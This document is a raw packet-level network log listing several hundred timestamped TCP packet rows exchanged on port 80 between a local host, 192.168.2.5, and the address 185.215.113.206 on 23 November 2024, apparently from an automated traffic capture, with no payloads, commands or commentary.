Nov 23, 2024 01:14:28.653114080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.653659105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.653822899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.653867960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.654794931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.654810905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.654828072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.654846907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.654871941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.655724049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.656430960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.656505108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.656593084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.656706095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.656788111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.657303095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.657470942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.657654047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.657789946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.657849073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.658688068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.658704042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.658757925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.659590006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.659646034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.659873009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.660564899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.660628080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.661216974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.661276102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.661525965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.661875010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.661926985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.662493944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.662554979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.662918091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.662967920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.663458109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.663530111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.663774014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.663944960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.664448977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.664603949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.664617062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.664655924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.665400028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.665457010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.665537119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.665579081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.666374922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.666440964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.666563034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.666646004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.667359114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.667418957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.668014050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.668087959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.668292046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.668344021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.668668985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.668723106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.669277906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.669496059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.669667959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.669723034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.670248032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.670298100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.670358896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.671217918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.671295881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.671329975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.671375036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.672205925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.672305107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.672358990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.673158884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.673214912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.673299074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.674141884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.674209118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.674236059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.674292088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.675283909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.675348997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.675662041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.676053047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.676206112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.676244974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.676554918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.676989079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.677057028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.677099943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.677454948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.677545071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.678018093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.678067923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.678287983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.678426027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.678987026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.679049015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.679682970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.679758072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.679979086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.679994106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.680044889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.680063009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.680912018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.680984974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.681082010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.681133032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.681896925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.681953907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.682382107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.682656050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.682907104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.682923079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.682976961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.683826923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.683887005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.684371948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.684426069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.684804916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.685174942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.685301065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.685343027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.685797930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.685825109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.685853004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.685880899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.686731100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.687241077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.687318087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.687675953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.687817097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.687869072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.688667059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.688832998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.688903093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.689644098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.689713001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.689786911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.689834118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.690654039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.690713882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.690890074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.691226006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.691574097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.691637039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.692245960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.692291021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.692538023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.692702055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.692759991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.692864895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.693516970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.693568945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.693768978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.693902969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.694509029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.694525003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.694638014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.695441961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.695563078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.696424961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.696440935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.696485043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.846945047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.847003937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.847232103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.847291946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.847466946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.847485065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.847526073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.847537041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.848388910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.848447084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.848705053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.848753929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.849343061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.849443913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.849471092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.849488020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.850303888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.850358963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.851006031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.851089954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.851267099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.851319075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.851768017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.851857901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.852278948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.852360010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.852705002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.852766037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.853216887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.853270054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.853413105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.853477955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.854212999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.854263067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.854567051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.854619026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.855190992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.855218887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.855385065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.856158972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.856209993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.857187033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.857224941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.857239962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.857265949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.857290030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.858076096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.858486891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.859087944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.859102964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.859119892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.859132051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.859154940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.860028982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.860116005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.861005068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.861020088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.861035109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.861048937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.861072063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.861963987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.862011909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.862956047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.862981081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.862997055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.863044977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.863869905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.863919973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.864005089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.864218950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.864846945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.864862919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.864895105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.864917994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.865832090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.865848064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.865896940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.866796970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.866846085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.867795944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.867816925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.867834091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.867881060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.868726969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.868774891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.869791031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.869806051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.869822979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.869847059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.869863987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.870661974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.870726109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.871669054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.871682882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.871701002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.871716022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.871740103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.872598886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.872651100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.873613119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.873627901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.873644114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.873702049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.874558926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.874608040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.875152111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.875199080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.875516891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.875607014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.875633001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.875700951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.876482964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.876532078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.877549887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.877578020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.877594948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.877644062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.878443956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.878494978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.879421949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.879436970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.879455090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.879482985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.879520893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.880362034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.880409956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.881369114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.881386042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.881417990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.881455898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.881479979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.882302999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.882319927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.882352114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.882364988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.883272886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.883330107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.884157896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.884215117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.884246111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.884260893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.884295940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.884308100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.885217905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.885284901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.885653973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.885704041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.886198997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.886214972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.886251926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.886261940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.887181997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.887198925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.887233973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.887248039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.888123035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.888181925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.888524055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.888612986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.889071941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.889266968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.889627934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.889704943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.890033960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.890080929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.890852928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.890898943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.891042948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.891060114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.891098976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.892000914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.892049074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.892180920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.892240047 CET	49760	80	192.168.2.5	185.215.113.206
